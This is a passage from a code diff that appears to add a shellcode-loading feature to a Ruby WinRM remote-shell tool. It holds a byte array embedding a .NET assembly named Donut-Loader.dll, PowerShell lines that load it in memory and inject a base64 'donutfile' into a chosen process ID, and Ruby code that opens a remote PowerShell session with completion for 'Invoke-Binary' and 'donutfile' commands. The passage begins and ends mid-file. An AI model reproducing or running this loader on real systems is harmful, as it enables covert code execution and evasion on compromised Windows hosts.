110, 69, 120, 99, 101, 112, 116, 105, 111, 110, 84, 104, 114, 111, 119, 115, 1, 0, 0, 0, 0, 0, 0, 0, 41, 64, 139, 93, 0, 0, 0, 0, 2, 0, 0, 0, 28, 1, 0, 0, 48, 45, 0, 0, 48, 29, 0, 0, 82, 83, 68, 83, 66, 33, 203, 216, 184, 44, 19, 73, 173, 127, 107, 217, 107, 212, 165, 239, 3, 0, 0, 0, 99, 58, 92, 85, 115, 101, 114, 115, 92, 113, 52, 56, 57, 50, 53, 48, 49, 56, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92, 83, 104, 97, 114, 112, 68, 101, 118, 101, 108, 111, 112, 32, 80, 114, 111, 106, 101, 99, 116, 115, 92, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 92, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 92, 111, 98, 106, 92, 68, 101, 98, 117, 103, 92, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 46, 112, 100, 98, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 16, 0, 0, 0, 24, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 48, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 72, 0, 0, 0, 88, 64, 0, 0, 252, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 252, 2, 52, 0, 0, 0, 86, 0, 83, 0, 95, 0, 86, 0, 69, 0, 82, 0, 83, 0, 73, 0, 79, 0, 78, 0, 95, 0, 73, 0, 78, 0, 70, 0, 79, 0, 0, 0, 0, 0, 189, 4, 239, 254, 0, 0, 1, 0, 0, 0, 1, 0, 28, 80, 39, 28, 0, 0, 1, 0, 28, 80, 39, 28, 63, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 68, 0, 0, 0, 1, 0, 86, 0, 97, 0, 114, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 0, 0, 36, 0, 4, 0, 0, 0, 84, 0, 114, 0, 97, 0, 110, 0, 115, 0, 108, 0, 97, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 0, 0, 176, 4, 92, 2, 0, 0, 1, 0, 83, 0, 116, 0, 114, 0, 105, 0, 110, 0, 103, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 56, 2, 0, 0, 1, 0, 48, 0, 48, 0, 48, 0, 48, 0, 48, 0, 52, 0, 98, 0, 48, 0, 0, 0, 68, 0, 13, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 68, 0, 101, 0, 115, 0, 99, 0, 114, 0, 105, 0, 112, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 68, 0, 111, 0, 110, 0, 117, 0, 116, 0, 45, 0, 76, 0, 111, 0, 97, 0, 100, 0, 101, 0, 114, 0, 0, 0, 0, 0, 64, 0, 15, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 50, 0, 48, 0, 55, 0, 46, 0, 50, 0, 48, 0, 53, 0, 48, 0, 56, 0, 0, 0, 0, 0, 68, 0, 17, 0, 1, 0, 73, 0, 110, 0, 116, 0, 101, 0, 114, 0, 110, 0, 97, 0, 108, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 68, 0, 111, 0, 110, 0, 117, 0, 116, 0, 45, 0, 76, 0, 111, 0, 97, 0, 100, 0, 101, 0, 114, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 0, 0, 68, 0, 15, 0, 1, 0, 76, 0, 101, 0, 103, 0, 97, 0, 108, 0, 67, 0, 111, 0, 112, 0, 121, 0, 114, 0, 105, 0, 103, 0, 104, 0, 116, 0, 0, 0, 67, 0, 111, 0, 112, 0, 121, 0, 114, 0, 105, 0, 103, 0, 104, 0, 116, 0, 32, 0, 50, 0, 48, 0, 49, 0, 57, 0, 0, 0, 0, 0, 76, 0, 17, 0, 1, 0, 79, 0, 114, 0, 105, 0, 103, 0, 105, 0, 110, 0, 97, 0, 108, 0, 70, 0, 105, 0, 108, 0, 101, 0, 110, 0, 97, 0, 109, 0, 101, 0, 0, 0, 68, 0, 111, 0, 110, 0, 117, 0, 116, 0, 45, 0, 76, 0, 111, 0, 97, 0, 100, 0, 101, 0, 114, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 0, 0, 60, 0, 13, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 0, 0, 68, 0, 111, 0, 110, 0, 117, 0, 116, 0, 45, 0, 76, 0, 111, 0, 97, 0, 100, 0, 101, 0, 114, 0, 0, 0, 0, 0, 68, 0, 15, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 50, 0, 48, 0, 55, 0, 46, 0, 50, 0, 48, 0, 53, 0, 48, 0, 56, 0, 0, 0, 0, 0, 72, 0, 15, 0, 1, 0, 65, 0, 115, 0, 115, 0, 101, 0, 109, 0, 98, 0, 108, 0, 121, 0, 32, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 50, 0, 48, 0, 55, 0, 46, 0, 50, 0, 48, 0, 53, 0, 48, 0, 56, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
[System.Reflection.Assembly]::Load($bytes) | Out-Null
$base64 = $donutfile
[array]$array = $process_id,$Base64
[ShellcodeTest.Program]::Main($array)
}
}')
+    menu = get_menu
+    command = ''
+
+    begin
+      time = Time.now.to_i
+      print_message('Establishing connection to remote endpoint', TYPE_INFO)
+      $conn.shell(:powershell) do |shell|
+        begin
+          completion = proc do |str|
+            case
+            when Readline.line_buffer =~ /help.*/i
+              puts($LIST.join("\t").to_s)
+            when Readline.line_buffer =~ /Invoke-Binary.*/i
+              result = @executables.grep(/^#{Regexp.escape(str)}/i) || []
+              if result.empty?
+                paths = self.paths(str)
+                result.concat(paths.grep(/^#{Regexp.escape(str)}/i))
+              end
+              result.uniq
+            when Readline.line_buffer =~ /donutfile.*/i
+              paths = self.paths(str)
